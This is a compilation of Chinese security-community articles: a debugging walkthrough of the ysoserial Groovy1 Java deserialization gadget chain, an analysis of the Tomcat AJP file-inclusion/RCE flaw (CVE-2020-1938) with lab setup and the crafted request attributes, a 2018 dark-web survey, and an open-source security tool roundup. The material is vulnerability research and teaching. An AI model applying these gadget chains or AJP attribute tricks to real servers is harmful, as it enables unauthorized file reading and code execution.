可以看到，我们调用Son对象本身和Son的代理对象所执行的结果是不同的，因为代理对象在执行被代理对象的任意方法时，会首先执行我们之前重写的`InvocationHandler`的invoke方法。同时会传入三个参数，第一个参数是代理对象本身，第二个参数是你要执行的方法的方法名，第三个参数是你要执行的该方法时要传递的参数。关键点在于什么？在于无论你调用代理对象的那一个方法，都一定要先执行这个Invoke方法。
然后返回到我们之前的payload中我们可以看到我们使用`Proxy.newProxyInstance`方法生成了一个代理对象，然后将其强转成了一个Map对象然后调用了entrySet方法。
接下来我们先记住我们payload所用到的两个类也就是所谓的gadget
是位于`org.codehaus.groovy.runtim`e包下的`ConvertedClosure`和`MethodClosure`。
接下来我们就来一步一步的调试分析
首先我们生成一个MethodClosure对象并将我们要执行的命令和和一个值为“execute”的字符串传递进去我们跟进
可以看到我们将要执行的命令传给了MethodClosure的父类来处理，将“execute”赋值给了MethodClosure.method属性。然后紧接着跟到Closure的构造方法中看到命令被赋值给了`Closure.owner`和`Closure.delegate`属性，之所以讲这些赋值过程是因为后面都会用得到。
接下来payload中又实例化了另一个对象并将刚才实例化的`MethodClosure`对象和一个字符串常量“entrySet”传入，我们童颜继续跟进。
字符串常量被赋值给`ConvertedClosure.methodName`属性
`MethodClosure`对象赋值给父类的的`ConversionHandler.delegate`属性。
接下这两步就是生成一个Class类型的Arry数组因为`Proxy.newProxyInstance`方法第二个参数是动态代理类要实现的接口要以数组的形式传入。所以我们生成了一个Class数组并在其中存入我要实现的接口也就是Map.calss
接下来就是生成动态代理对象的过程了，这个在前面已经介绍过了，`Proxy.newProxyInstance`方法传递的第二个参数是代理类所要实现的接口，里面只有一个Map.class所以生成的代理对象是实现了Map接口里所有方法的，所以才可以将其强转成Map类型并调用entrySet方法。
之前我们也说了动态代理的一大特点就是不论你调用代理对象的那一个方法其实执行的都是我们创建代理对象时所传入的`InvocationHandler`对象中我们所重写的Invoke方法。这里传入的`InvocationHandler`对象就是我们之前实例化的`ConvertedClosure`我们看一下该类的继承关系
可以看到`ConvertedClosure`类的继承关系中其父类`ConversionHandler`实现了`InvocationHandler`并重写了Invoke方法，所以我们由此可知当我么调用代理对象`map.entrySet`方法时实际上执行的`是ConversionHandler.Invoke`方法。我们跟进方法继续分析。
紧接着由调用了invokeCustom方法，该方法在ConversionHandler中是一个抽象方法，所以调用的是其子类重写的`ConvertedClosure.invokeCustom方`法。
之前我们创建ConvertedClosure对象时为methodName属性赋了值“entrySet”此时我们调用的是代理对象的entrySet方法，自然传递进来method的值也是“entrySet”符合判断。
接下来的getDelegate()是其父类的方法也就是`ConversionHandler.getDelegate()`
返回一个MethodClosure对象也就是并将其强转成Closure，然后调用`Closure.call()`方法
紧接着调用Closure的父类`GroovyObjectSupport.getMetaClass()`方法返回一个`MetaClassImpl`对象并调用`MetaClassImpl.invokeMethod()`方法
步入跟进该方法
MetaMethod method = null;
......
if (method==null) {
method = getMethodWithCaching(sender, methodName, arguments, isCallToSuper);
}
......
final boolean isClosure = object instanceof Closure;
if (isClosure) {
final Closure closure = (Closure) object;
final Object owner = closure.getOwner();
if (CLOSURE_CALL_METHOD.equals(methodName) || CLOSURE_DO_CALL_METHOD.equals(methodName)) {
final Class objectClass = object.getClass();
if (objectClass == MethodClosure.class) {
final MethodClosure mc = (MethodClosure) object;
methodName = mc.getMethod();
final Class ownerClass = owner instanceof Class ? (Class) owner : owner.getClass();
final MetaClass ownerMetaClass = registry.getMetaClass(ownerClass);
return ownerMetaClass.invokeMethod(ownerClass, owner, methodName, arguments, false, false);
该方法代码过多先截取关键代码，首先创建一个Method类型的变量并为其赋值，然后我们通过判断传入的Object是否是Closure的子类，由截图可以看出Object里存储的是一个MethodClosure对象，所以判断的结果是true
接下来就走第一条判断成功执行的代码。
接下来执行的就是将Object强转为Closure类型，接下来取出我们一开始我们在创建MethodClosure对象时存入的要执行的命令。
接下来就一路执行到`return ownerMetaClass.invokeMethod()`
我们看到这个ownerMetaClass其实还是一个MetaClassImpl对象也就是说这里其实是一个递归调用。
以下是递归调用的执行路径可以看到在`if
(isClosure)`这里判断失败了，所以不再执行刚才的代码改为执行`method.doMethodInvoke()`
MetaMethod method = null;
......
if (method == null)
method = tryListParamMetaMethod(sender, methodName, isCallToSuper, arguments);
......
final boolean isClosure = object instanceof Closure;
if (isClosure) {
......
}
if (method != null) {
return method.doMethodInvoke(object, arguments);
}
......
我们看到method变量里存储的是一个叫dgm的对象
以下是传入`method.doMethodInvoke()` 的两个参数里面所存储的值
我们要执行的命令被传进了`ProcessGroovyMethods.execute((String)var1)`方法中，继续跟进。
至此通过调用`Map.entrySet()`方法就能导致代码执行的原理水落石出。
以上就是ysoserial的payload中的Groovy的gadget介绍。接下来要讲的就是反序列化漏洞中的反序列化如何配和Groovy1的gadget来远程代码执行的。
我们来看ysoserial Groovy1所执行的全部代码。我们可以看到在第34行代码以前，执行的代码和我们之前看到的简化版的代码执行Demo是一样的。
我们看到我们通过反射先是拿到了`AnnotationInvocationHandler`此类的Class对象，然后在通过该Class对象以反射的形式拿到了它的构造方法，并最终通过该构造方法反射并传入两个参数一个是`Override.class`一个常见的注解类对象。而另一个就是我们之前所分析的可以通过调用`Map.entrySet()`方法可以造成代码执行的Map对象。
为什么我们要如此的费力通过反射形式来生成一个AnnotationInvocationHandler对象呢？由以下截图可知。因为该类的构造方法和该类本身都不是public修饰的，所以我们没法通过new一个对象的形式来创建AnnotationInvocationHandler对象
之前已经简单介绍过了什么是反序列化，JDK序列化/反序列化。如果反序列化的类里有readObject方法，那么就一定会调用该方法。这就给了我们一个可趁之机，我们观察一下`AnnotationInvocationHandler`对象中都执行了些什么。
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch (IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
我们在这段代码里看到了一个熟悉的影子，在readObject方法里有一个foreach循环,里面有一个名字叫memberValues的变量调用的entrySet()，也就是说，如果这个memberValues里面存储的是我们之前构造好的那个实现了Map接口的代理对象的话，那就意味着这里就像一个炸弹的引爆点一样，会瞬间执行我们刚才所分析的代码执行路径，并最终执行我们提前包装好的代码。
好那问题是这个变量我们可以控制么？如果该变量不接受外部传入的参数那么这个点就变的毫无价值。但是我们通过分析惊喜的发现，`memberValues`是一个全局变量，接受的恰好就是我们精心构造的那个可以执行代码的代理对象。
`AnnotationInvocationHandler`对我们来说就是一个反序列化的入口点，就像是一个引爆器一样。而我们封装好的那个代理对象就是炸弹，在`AnnotationInvocationHandler`进行序列化时被封装了进去作为`AnnotationInvocationHandler`对象一个被序列化的属性存在着，等到`AnnotationInvocationHandler`对象被反序列化时，就瞬间爆炸，一系列的嵌套调用瞬间到达执行`Runtime.getRuntime().exec()`的位置
至此ysoserial Java 反序列化系列第一集 Groovy1原理分析结束
## 总结
其实网上反序列化的文章有很多，但是不知为何大家讲解反序列化漏洞时都是用CC链也就是`Apache.CommonsCollections`来进行举例，平心而论我觉得这个利用连一开始没接触过反序列化的同学直接理解还有一定的难度的，难在整个CC链的调用看上去略微复杂，并不是难在反序列化的部分。所以我挑了一个我觉得调用链比较清晰明了的Groovy来进行java
反序列化分析的第一篇文章，来帮助大家能更快速的了解java
反序列化漏洞。虽然Groovy1这个gadget在实际生产环境中碰的的概率可能少之又少，但是作为一个反序列化入们学习的例子我觉得还是比较适合的。
* * * | 社区文章 |
**作者：天融信阿尔法实验室**
**原文链接：<https://mp.weixin.qq.com/s/hH0dpRWml0Rt7FxFOsWcMg>**
## 文章内容简介
本篇文章针对Apache Tomcat
Ajp（CVE-2020-1938）漏洞的文件包含和RCE的利用方式以及原理进行的深入的分析，同时包括漏洞复现和分析环境搭建的详细步骤，大家可以根据文中所写，自己搭建环境，然后通过在代码中下断点来自己进行调试，从而更好地理解漏洞的原理。
## 漏洞简介
2020年02月20日，于CNVD公开的漏洞公告中发现Apache Tomcat文件包含漏洞（CVE-2020-1938）。
Apache Tomcat为Apache开源组织开发的用于处理HTTP服务的项目。Apache
Tomcat服务器中被发现存在文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapps目录下的任意文件。
本次漏洞是一个单独的文件包含漏洞，该漏洞依赖于Tomcat的AJP（定向包协议）协议。AJP协议自身存在一定的缺陷，导致存在可控参数，通过可控参数可以导致文件包含漏洞。AJP协议使用率约为7.8%，鉴于Tomcat作为中间件被大范围部署在服务器上，本次漏洞危害较大。
## AJP13协议介绍
我们对Tomcat的普遍认识主要有两大功能，一是充当web服务器，可以对一切静态资源的请求作出回应，二就是Servlet容器。
常见的web服务器有 Apache、 Nginx、 IIS等。常见的Servlet容器有Tomcat，Weblogic，JBOSS等。
Servlet容器可以理解为是Web服务器的升级版，拿Tomcat来举例，Tomcat本身可以不做Servlet容器使用，仅仅充当Web服务器的角色是完全没问题的，但是在处理静态资源请求的效率和速度上是远不及Apache，所以很多情况下生产环境中都会将Apache作为web服务器来接受用户的请求，静态资源有Apache直接处理，而Servlet请求则交由Tomcat来进行处理。这么做就可以让两个中间件各司其职，大大加快相应速度。
众所周知我们用户的请求是以http协议的形式传递给Web
服务器的，我们在浏览器中对某个域名或者ip进行访问，头部都会有http或者https的表示，而AJP协议浏览器是不支持的，我们无法通过浏览器发送AJP的报文。当然AJP这个协议也不是提供给我们用户来使用的。
在Tomcat $CATALINA_BASE/conf/web.xml默认配置了两个Connector，分别监听两个不同的端口，一个是HTTP
Connector 默认监听8080端口，一个是AJP Connector 默认监听8009端口。
HTTP Connector的主要就是负责接收来自用户的请求，不管事静态还是动态，只要是HTTP请求就时由HTTP Connector来负责。有了这个
Connector Tomcat才能成为一个web服务器，但还额外可处理Servlet和jsp。
而AJP协议的使用对象通常是另一个Web服务器。例如Apache ，这里从网上找到了一张图，以此图来进行说明。
通常情况下AJP协议的使用场景是这样的。
AJP是一个二进制的TCP传输协议，浏览器无法使用，首先由Apache与Tomcat之间进行AJP协议的通信，然后由Apache通过proxy_ajp模块进行反向代理，将其转换成HTTP服务器然后在暴露给用户，让用户来进行访问。
之所以要这么做，是因为相比HTTP这种纯文本的协议来说，效率和性能更高，同时也做了很多优化。
其实AJP协议某种程度上可以理解为是HTTP的二进制版，为了加快传输效率从而被使用，实际情况是像Apache这样有proxy_ajp模块可以反向代理AJP协议的很少，所以日常生产中AJP协议也很少被用到
## Tomcat 远程文件包含漏洞分析
### 漏洞分析环境搭建
首先从官网下载对应的Tomcat源码文件，和可执行文件。
<http://archive.apache.org/dist/tomcat/tomcat-8/v8.0.50/>
下载好后将两个文件夹放入同一个目录下
然后在源码中新增pom.xml并加入以下内容
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.apache.tomcat</groupId>
<artifactId>Tomcat8.0</artifactId>
<name>Tomcat8.0</name>
<version>8.0</version>
<build>
<finalName>Tomcat8.0</finalName>
<sourceDirectory>java</sourceDirectory>
<testSourceDirectory>test</testSourceDirectory>
<resources>
<resource>
<directory>java</directory>
</resource>
</resources>
<testResources>
<testResource>
<directory>test</directory>
</testResource>
</testResources>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>2.3</version>
<configuration>
<encoding>UTF-8</encoding>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.easymock</groupId>
<artifactId>easymock</artifactId>
<version>3.4</version>
</dependency>
<dependency>
<groupId>ant</groupId>
<artifactId>ant</artifactId>
<version>1.7.0</version>
</dependency>
<dependency>
<groupId>wsdl4j</groupId>
<artifactId>wsdl4j</artifactId>
<version>1.6.2</version>
</dependency>
<dependency>
<groupId>javax.xml</groupId>
<artifactId>jaxrpc</artifactId>
<version>1.1</version>
</dependency>
<dependency>
<groupId>org.eclipse.jdt.core.compiler</groupId>
<artifactId>ecj</artifactId>
<version>4.5.1</version>
</dependency>
</dependencies>
</project>
然后添加一个Application
1、按照下面图示新增Application的配置信息
2、在Man class:中填入:`org.apache.catalina.startup.Bootstrap`
3、在VM options:中填入:`-Dcatalina.home="apache-tomcat-8.5.34"`，catalina.home替换成tomcat binary core的目录
4、jdk默认是1.8，因为我装的就是jdk1.8版本
5、启动过程中Test模块会报错，且为TestCookieFilter.java，注释里面的测试内容即可
然后运行 访问127.0.0.1:8080出现以下页面则环境搭建成功
### 漏洞复现
#### 任意文件读取
#### RCE
### 漏洞分析
首先根据网上的介绍我们定位到
org.apache.coyote.ajp.AjpProcessor这个类，根据网上透漏的漏洞消息，我们得知漏洞的产生是由于Tomcat对ajp传递过来的数据的处理存在问题，导致我们可以控制“javax.servlet.include.request_uri”，“javax.servlet.include.path_info”，“javax.servlet.include.servlet_path”，这三个参数，从而读取任意文件，甚至可以进行RCE。
我们先从任意文件读取开始分析
我所使用的环境使用Tomcat
8.0.50版本所搭建的，产生漏洞的点并不在AjpProcessor.prepareRequest()方法，8.0.50版本的漏洞点存在于AjpProcessor的父类，AbstractAjpProcessor这个抽象类的prepareRequest()中
我们在这里下断点
然后运行exp，然后先看一下此时的调用链
首先由于此次数据传输使用的是AJP协议，监听的8009口，并非我们常见的HTTP协议。所以首先SocketPeocessore这个内部类来进行处理，
处理完成后经过几次调用交由AbstractAjpProcessor.prepareRequest()，该方法就是漏洞产生的第一个点。
我们单步步入request.setAttribute()方法
这里我们可以看到，attributes是一个HashMap，那这样就非常好理解了，就是将我们通过AJP协议传递过来的三个参数循环遍历存入这个HashMap
可以看到这里是一个while循环，我们来直接看循环完成后的结果
执行完后就会在Request对象的attributes属性中增加这三条数据。
到这里就是漏洞的前半部分，操纵可控变量将其改造层我们想要的数据。
我们先看一下exp发出的数据包是什么样的
我们通过使用WireShark抓包，看到了AJP报文的一些信息，其中有四个比较重要的参数，
URI:/asdf
javax.servlet.include.request_uri:/
javax.servlet.include.path_info: WEB-INF/Test.txt
javax.servlet.include.servlet_path:/
首先要讲到的就是这个URL，通过之前对AJP协议的介绍，我们知道通过AJP协议传来的数据最中还是要交由Servlet来进行处理的，那么问题就来了，应该交由那个Servlet来进行处理？
我们通过翻阅网上关于Tomcat的架构的一些文章和资料得知，在Tomcat
$CATALINA_BASE/conf/web.xml这个配置文件中默认定义了两个Servlet
一个是DefaultServlet
另一个是JspServlet
由于 $CATALINA_BASE/conf/web.xml这个文件是tomcat启动时默认加载的，所以这两个Servlet会默认存在Servlet容器中
当我们请求的URI不能和任何Servlet匹配时，就会默认由
DefaultServlet来处理，DefaultServlet主要用于处理静态资源，如HTML、图片、CSS、JS文件等，而且为了提升服务器性能，Tomcat对访问文件进行缓存。按照默认配置，客户端请求路径与资源的物理路径是一致的。
我们看到我们请求的URI为“/asdf”这就符合了无法匹配后台任何的Servlet这么一个条件，这里要注意一下，举个例子，譬如我们请求一个“abc.jsp”
但是后台没有“abc.jsp” 这种不属于无法匹配任何Servlet，因为.jsp的请求会默认走JspServlet来进行处理
好的，根据这段介绍，结合我们发送的数据包中的“URI:/asdf”这一属性，我们可以判断此次请求是由DefaultServlet来进行处理的。
我们定位到DefaultServlet的doGet方法
doGet方法里又调用了serveResource()方法
serveResource()方法由调用了getRelativePath()方法来进行路径拼接，我们跟进看一看!
这里就是将我们传入的path_info 、servlet_path
进行复制的地方，request_uri用来做判断，如果发送的数据包中没有request_uri，就会走else后面的两行代码进行赋值，这样会就会导致漏洞利用失败
接下来就是对路径的拼接了，这里可以看到如果传递数据时不传递servlet_path，则result在进行路径拼接时就不会将“/”拼接在“WEB-INF/web.xml”的头部，最后拼接的结果仍然是“WEB-INF/web.xml”
接下来返回DefaultServle.serveResource()
紧接着判断path变量长度是否为0，为0则调用目录重定向方法
下面的代码就要开始读区我们指定的资源文件了
我们跟进StandardRoot.getResource()方法
getResource()方法中又调用了一个很重要的方法validate()方法并将path作为变量传递进去进行处理，我们继续跟入
这里就牵扯到为什么我们为什么不能通过"/../../"的方式来读取webapps目录的上层目录里文件的原因了，首先是正常请求
我们可以看到正常请求最后return的result的路径就是我们文件所在的相对路径。
当我门尝试使用WEB-INF/../../Test.txt来读区webapps以外的目录中的文件时。可以看到此时返回的result就是null了，而且会抛出异常。
这一切的原因都在RequestUtil.normalize()这个函数对我们传递进来的路径处理上，我们跟进看一看
关键的点就在下面的截图代码中。我们传入的路径是“/WEB-INF/../../Test.txt”,首先程序会判断我们的路径中是否存在“/../”，自然是存在的且索引是8大于0，所以第一个if
判断不会成功，也就不会跳出while循环，此时处理我们的路径，截取“/WEB-INF/..”以后的内容，然后在用String,indexOf()函数判断路径里是否有“/../”,显然还是有的，且索引为零，符合第二个if判断的条件，return
null。
此处的目的就是 不允许传递以“/../”为开头的路径，且不允许同时出现两个连在一起的“/../”
所以我们最多只能读取到webapps目录，无法读取webapps以外的目录中的文件。
想要读取webapps目录下的其余目录内的文件可以通过修改数据包中的"URI"这个参数来实现
如此一来，程序最中拼接出我们所指定文件的绝对路径，并作为返回值进行返回
接下来就是回到getResource()函数进行文件读取了
以下是任意文件读取的调用链
**RCE**
接下来讲一下，RCE实现的原理
之前讲过Tomcat
$CATALINA_BASE/conf/web.xml这个配置文件中默认定义了两个Servlet，刚才任意文件读取利用了DefaultServlet，而RCE就需要用到另一个也就是JspServlet
默认情况下，JspServlet的url-pattern为 _.jsp和_.jspx，因此他负责处理所有JSP文件的请求。
JspServlet主要完成以下工作：
1.根据JSP文件生成对应Servlet的Java代码（JSP文件生成类的父类我org.apache.jasper.runtime.HttpJspBase——实现了Servlet接口）
2.将Java代码编译为Java类。
3.构造Servlet类实例并且执行请求。
其实本质核心就是通过JspServlet来执行我们想要访问的.jsp文件
所以想要RCE的前提就是，先要想办法将写有自己想要执行的命令的文件(可以是任意文件后缀，甚至没有后缀)上传到webapps的目录下，才能访问该文件然后通过JSP模板的解析造成RCE
来看下我们这次发送的Ajp报文的内容
这里的“URI”参数一定要是以“.jsp”进行结尾的，这个jsp文件可以不存在。
剩下的三个参数就和之前没什么区别了，“path_info”参数对应的就是我们上传的还有jsp代码的文件。
我们定位到JspServlet.Service()方法
可以看到首先将"servlet_path"的值取出赋值给变量jspUri
然后将"path_info"参数对应的值取出并赋值给“pathInfo”变量，然后和“jspUri”进行拼接
接下来跟进serviceJspFile()方法
首先生成JspServletWrapper对象
然后调用JspServletWrapper.service()方法
获取对应的Servlet
调用该Servlet的service方法
接下来就是就是解析我们上传文件中的java代码了至此，RCE漏洞原理分析完毕。下面是调用链
### 总结
此次的漏洞存在于一个不是很常用的协议,
Ajp协议上，虽然影响范围没有说想象中的严重，但是我测试了四个以上的Tomcat版本，默认配置中都是有监听8009端口的，通常情况下如果将这些版本的Tomcat直接暴露在公网上提供服务的话，很大概率是会受到次漏洞的影响的，如果tomcat仅作为Servlet容器的话，外层有Apache这样的web服务器，或者nginx这样的反向代理服务器，Tomcat为这些服务器转发过来的消息提供服务的话，很大程度上就会减少此漏洞造成的影响。此次漏洞的核心就在于Tomcat
对于Ajp协议的的处理上出现了问题，将核心参数对外暴露并且一定程度上可控。想要防止此次漏洞最好的方法就是将web.xml中监听8009端口的那项配置给注释掉，哪怕Tomcat不直接对外提供服务的情况下仍然不可以掉以轻心。
* * * | 社区文章 |
**作者：知道创宇404实验室**
**报告下载：[《2018上半年暗网研究报告》](https://images.seebug.org/archive/2018%E4%B8%8A%E5%8D%8A%E5%B9%B4%E6%9A%97%E7%BD%91%E7%A0%94%E7%A9%B6%E6%8A%A5%E5%91%8A.pdf
"《2018上半年暗网研究报告》")**
### 1 基本概念
#### 1.1 Deep web／Dark web／Darknet
讲述暗网之前，需要先了解“深网”(Deep web)、“暗网”(Dark web) 和“黑暗网络”(Darknet)
这三个词。虽然媒体可能经常交替使用它们，但实际上它们代表着截然不同而又相关的互联网区段。
“深网”(Deep web)
是指服务器上可通过标准的网络浏览器和连接方法访问的页面和服务，但主流搜索引擎不会收录这些页面和服务。搜索引擎之所以不会收录深网，通常是因为网站或服务的配置错误、拒绝爬虫爬取信息、需要付费查看、需要注册查看或其他内容访问限制。
“暗网”(Dark web) 是深网中相对较小的一部分，与被故意隐藏的 Web
服务和页面有关。仅使用标准浏览器无法直接访问这些服务和页面，必须依靠使用覆盖网络 (Overlay
Network)；而这种网络需要特定访问权限、代理配置、专用软件或特殊网络协议。
“黑暗网络”(Darknet) 是在网络层访问受限的框架，例如 Tor 或 I2P。私有 VPN 和网状网络 (Mesh Network)
也属于这个类别。通过这些框架的网络流量会被屏蔽。当进行数据传输时，系统只会显示您连接的黑暗网络以及您传输了多少数据，而不一定会显示您访问的网站或所涉及数据的内容。与之相反的是，直接与明网（Clean
Net）或与未加密的表网服务和深网服务交互。在这种情况下，您与所请求资源之间的互联网服务提供商 (ISP) 和网络运营商可以看到您传输的流量内容。
#### 1.2 暗网 (Dark Web) 的组成
暗网只能通过Tor （The Onion Routing）和I2P（Invisible Internet Project）等网络访问。
Tor又名洋葱网络，是用于匿名通信的软件，该名称源自原始软件项目名称“The Onion
Router”的首字母缩写词，Tor网络由超过七千个中继节点组成，每个中继节点都是由全球志愿者免费提供，经过层层中继节点的中转，从而达到隐藏用户真实地址、避免网络监控及流量分析的目的。
I2P网络是由I2P路由器以洋葱路由方式组成的表层网络，创建于其上的应用程序可以安全匿名的相互通信。它可以同时使用UDP及TCP协议，支持UPnP映射。其应用包括匿名上网、聊天、网站搭建和文件传输。
通过知道创宇“暗网雷达”的实时监测数据表明，Tor 网络大约拥有12万个独立域名(onion
address)，而I2P网络公开地址薄大约只有8千个地址，体量相对 Tor 网络要小得多。
### 2 暗网的现状
#### 2.1 Tor全球中继节点分布
截至2018年7月31日，我们统计了全球中继节点的分布状况，全球总计有17635个中继节点，其中正在运行的有6386个，它们的平均带宽为5.33MB/s，最大带宽为99MB/s；相比其他区域而言，北美和欧洲的带宽更大；大部分中继节点分布在北美和欧洲，中国香港只有6个。
因此可以得出结论，相比表网而言，暗网的规模要小的很多，Tor 网络节点带宽不足以支撑超大的网络流量，网络媒体关于暗网与表网的“冰山比喻”有些夸张了。
#### 2.2 Tor 网络数据统计
根据Tor官方项目的统计数据显示，2018年上半年Tor暗网地址（onion addresses (version 2
only)）数量峰值为121078个。
图2.2 暗网地址数量
Tor网络来自中国用户数量平均每天1159人，高峰期为2018年5月9日，达到3951人，绝大多数暗网中文用户使用 Meet 类型的流量访问Tor暗网。
图2.2. 暗网中国用户数量统计
针对约12万左右的暗网域名，我们深入进行了研究，得出结论：
* Onion域名每日存活量约1.2万左右，只占总数的10%；
* Onion v2 类型的域名有121451个，v3类型的域名只有379个；
* 每日平均暗网新增数量为30个；
#### 2.3 Tor暗网的主要类别
通过知道创宇“暗网雷达”的监测，我们将暗网归为12大类，各类占比如上图所示；通过对各类中独立域名的标题进行整合分析，提取网站标题中关键字出现的频率，生成词云：
* 商业类占18.98%；其中包括交易市场，自营商店，第三方托管平台（网站担保）；交易品种大多是信用卡、枪支、毒品、护照、电子产品、伪钞、欧元票据、亚马逊礼品卡、解密服务、杀手服务、比特币洗钱服务等；大多数网站使用比特币进行交易。
* 个人类占5.90%；包括个人博客，页面，书籍等。
* 社会类占4.57%；包括论坛，暗网维基等。
* 其他语言（非英语）占3.82%；
* 主机托管类占3.05%；主要为暗网服务托管商的宣传站，介绍其机器性能与架构。
* 成人类占2.87%；
* 技术类占2.74%；分享技术／出售黑客技术／售卖0day／漏洞利用
* 核心网站占1.91%；包括暗网搜索引擎，暗网链接目录等
* 通讯类占1.79%；包括聊天室，邮件服务，暗网邮箱
* 政治与宗教类占1.34%；包括暗网的新闻媒体机构，全球维基解密，政党丑闻，激进主义言论，传教等。
* 赌博类占0.46%；网络赌场等。
* 其他类（艺术，音乐，需登陆的，无内容，被查封的，视频等）占52.57%；
可以看到”Freedom Hosting II -hacked”这几个词在各大类中都占据很高的比例。原因是匿名者组织（Anonymous）攻击了当时最大的Tor暗网托管服务提供商Freedom
Hosting II，因为它向大量共享儿童色情图片的网站提供主机托管服务。直接导致约20%的Tor网站关闭。
#### 2.4 Tor暗网Web服务分布
我们统计了排名前20的Web服务器， 绝大多数暗网网站使用Nginx和Apache作为Web服务器，约1%的暗网使用了Cloudflare作为其
DDoS防护措施。
#### 2.5 Tor暗网开放端口分布
http 80端口占69.55%；smtp 25端口占比23.24%；https 443端口占2.88%；ssh 22端口占1.68%。
#### 2.6 Tor暗网语种分布
通过机器学习分析网站的标题和内容，我们将暗网进行了语种归类，Tor暗网语种总数有80种，英语依旧是暗网中最流行的语言，占比高达82.02%；接着依次是俄语3.77%、丹麦语2.22%、德语1.73%、拉丁语1.26%、西班牙语1.26%、法语1.13%、葡萄牙语1.00%、汉语0.75%、意大利语0.60%。
### 3 暗网的威胁
由于暗网的匿名特性，暗网中充斥着大量欺诈，非法的交易，没有限制的信息泄露，甚至是危害国家安全的犯罪等，
这些风险一直在威胁着社会，企业和国家的安全。2018年上半年，中国互联网就有大量的疑似数据泄露事件的信息在暗网传播，例如：《某视频网站内网权限及千万条用户数据库暗网售卖事件》
* 2018年3月8日，黑客在暗网论坛发布某视频网站1500万一手用户数据
* 2018年6月9日，黑客在暗网论坛发布某视频网站 SHLL+内网权限并公布了300条用户数据
* 2018年6月13日凌晨，某视频网站官方发布公告称网站遭遇黑客攻击，近千万条用户数据外泄，提醒用户修改密码
另外还有诸如
* 某省1000万学籍信息在暗网出售
* 某快递公司10亿条快递物流数据暗网出售
等一系列的隐私信息泄露的事件在中国互联网引起广泛传播和关注。
暗网也成为各种威胁情报信息的重要来源之一。
从我们监测的数据来看，暗网还在呈现缓慢增长的态势，随着暗网用户的增多，黑市及加密数字货币的发展，更多的黑客在利益的的驱动下开展各种活动，把之前通过表网（互联网）传播的非法交易更多的转移至暗网，通过各种技术手段躲避追踪。对监管和调查造成了一定的困难。
面对日益增长的暗网威胁， 知道创宇404安全研究团队会持续通过技术手段来测绘暗网，提供威胁情报，追踪和对抗来自暗网的威胁，为了更好更安全的互联网。
* * * | 社区文章 |
### 关于404星链计划
「404星链计划」是知道创宇404实验室于2020年8月提出的开源项目收集计划，这个计划的初衷是将404实验室内部一些工具通过开源的方式发挥其更大的价值，也就是“404星链计划1.0”，这里面有为大家熟知的Pocsuite3、ksubdomain等等，很快我们就收到了许多不错的反馈。2020年11月，我们将目光投向了整个安全圈，以星链计划成员为核心，
**筛选优质、有意义、有趣、坚持维护的开源安全项目**
，为立足于不同安全领域的安全研究人员指明方向，也就是“404星链计划2.0”。为了更清晰地展示和管理星链计划的开源项目，2021年11月22日我们将1.0和2.0整合，推出改版后的「404星链计划」。
目前，「404星链计划」已收录了 **包括甲方工具、信息收集、漏洞探测、攻击与利用、信息分析、内网工具等多种类共超过60个优质开源安全工具**
，备受安全行业瞩目与欢迎，成为热门的工具使用与交流阵地。
「404星链计划」项目更新、演示视频等，可查看：<https://github.com/knownsec/404StarLink>
如果你的开源安全项目有意加入「404星链计划」，请在 Github issue
中提交项目申请：<https://github.com/knownsec/404StarLink/issues>
### 新项目发布
本期我们又收集到3个优质项目，一起来看看吧
#### 01 camille
**项目链接**
<https://github.com/zhengjim/camille>
**项目简介**
现如今APP隐私合规十分重要，各监管部门不断开展APP专项治理工作及核查通报，不合规的APP通知整改或直接下架。camille可以hook住Android敏感接口，并识别是否为第三方SDK调用。根据隐私合规的场景，辅助检查是否符合隐私合规标准。
**项目特点、亮点**
* 基于实际上架内置了android敏感接口规则
* 第三方SDK识别
* 可指定模块Hook
* 封装hook函数，便于自定义hook接口
* 可识别是否同意隐私政策
* 可导出堆栈报告便于整改
* 持续更新敏感接口、SDK规则、隐私政策及文档
#### 02 rakshasa
**项目链接**
<https://github.com/Mob2003/rakshasa>
**项目简介**
rakshasa是一个使用Go语言编写的强大多级代理工具，专为实现多级代理，内网穿透而设计。
**项目特点、亮点**
它可以在节点群里面任意两个节点之间转发TCP请求和响应，同时支持socks5代理，http代理，并且可以引入外部http、socks5代理池，自动切换请求IP。
节点之间使用内置证书的TLS加密TCP通讯，再叠加一层自定义秘钥的AES加密，可以在所有Go支持的平台使用。可以在你所有的的Windows和Linux服务器上搭建节点并组成节点群网络。
节点分为普通节点(node)与控制节点(fullnode)
普通节点，无法控制其他节点进行代理、shell等操作
控制节点，全功能节点
#### 03 dperf
**项目链接**
<https://github.com/baidu/dperf>
**项目简介**
dperf
是一个100Gbps的网络性能与压力测试软件。国内多个知名安全厂商用dperf测试其防火墙。知名开源四层负载均衡DPVS在用dperf做性能测试，发布性能测试报告。
**项目特点、亮点**
* 性能强大：
* 基于 DPDK，使用一台普通 x86 服务器就可以产生巨大的流量：千万级的 HTTP 每秒新建连接数，数百Gbps的带宽，几十亿的并发连接数
* 统计信息详细：
* 能够输出详细的统计信息，并且识别每一个丢包
